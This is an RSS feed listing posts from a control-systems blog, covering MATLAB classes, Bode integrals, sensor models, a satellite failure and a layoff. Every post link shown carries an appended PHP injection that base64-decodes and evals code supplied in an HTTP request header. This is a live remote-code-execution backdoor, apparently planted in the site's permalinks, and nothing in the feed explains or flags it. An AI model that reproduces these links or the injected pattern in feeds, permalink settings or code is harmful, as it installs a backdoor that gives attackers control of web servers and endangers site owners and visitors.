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	<title>Blog at ControlTheoryPro.com</title>
	<link>http://blogs.controltheorypro.com</link>
	<description>The online resource for Control Systems.</description>
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		<title>Reflections after a layoff…</title>
		<description><![CDATA[Slow times at a company usually lead to layoffs.  But this is a scenario where everyone loses.  I think there's a way for everyone to win and the company to come out stronger.]]></description>
		<link>http://blogs.controltheorypro.com/2009/10/10/reflections-after-a-layoff%e2%80%a6/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>MATLAB 2009a &#8211; Classes, Getting Started</title>
		<description><![CDATA[In control systems it is often necessary to model noise and disturbances with a PSD.  In this article I continue step-by-step my psdData class example.  In this step we define the necessary properties for the psdData class.]]></description>
		<link>http://blogs.controltheorypro.com/2009/04/16/matlab-2009a-classes-getting-started/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>MATLAB 2009a &#8211; Classes</title>
		<description><![CDATA[With the release of 2008a MATLAB made the creation of classes much easier. In these blogs posts I will run you through the development of an example class.  The class, or object, will allow the user to store, plot, and manipulate PSD data.]]></description>
		<link>http://blogs.controltheorypro.com/2009/04/10/matlab-2009a-classes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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	<item>
		<title>Rules of Thumb in Controls Design</title>
		<description><![CDATA[I've had a hard time identifying good industry rules of thumb for conservative controls design.  So I've put together a list of rules of thumb.]]></description>
		<link>http://blogs.controltheorypro.com/2009/02/17/rules-of-thumb-in-controls-design/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Bode Integrals</title>
		<description><![CDATA[Controllers are not magic.  They required careful design unique to the frequency response of the plant.  The Bode Integrals inform us of design limitations.]]></description>
		<link>http://blogs.controltheorypro.com/2009/02/14/bode-integrals/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<title>Back on line&#8230;</title>
		<description><![CDATA[Dec. was a rough month.  I was working a lot of hours while juggling the various family obligations of the holiday season.  Work has slowed down a lot - too much really - so I should have some time to post this week.]]></description>
		<link>http://blogs.controltheorypro.com/2009/01/06/back-on-line/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Slim Postings in Dec</title>
		<description><![CDATA[Sorry to say this but my "real" job is going to take up most of my time for the rest of December.  I won't be posting much for the rest of December.]]></description>
		<link>http://blogs.controltheorypro.com/2008/12/09/slim-postings-in-dec/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>New Sensor Models</title>
		<description><![CDATA[Given that sensors are vital to feedback systems I've included a bunch of sensor models in my wiki.]]></description>
		<link>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>What caused this satellite to fail</title>
		<description><![CDATA[A Nigerian telecom satellite failed recently.  On another blog the question of why was asked.  I have some thoughts.]]></description>
		<link>http://blogs.controltheorypro.com/2008/11/29/what-caused-this-satellite-to-fail/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>MATLAB&#8217;s Parallel Computing Toolbox: What finally worked</title>
		<description><![CDATA[If you are going to use MATLAB's Parallel Computing Toolbox for the first time schedule a couple of weeks to figure out how to use it with Simulink.  I've found a work around using the batch command but it isn't ideal.]]></description>
		<link>http://blogs.controltheorypro.com/2008/11/23/what_finally_worked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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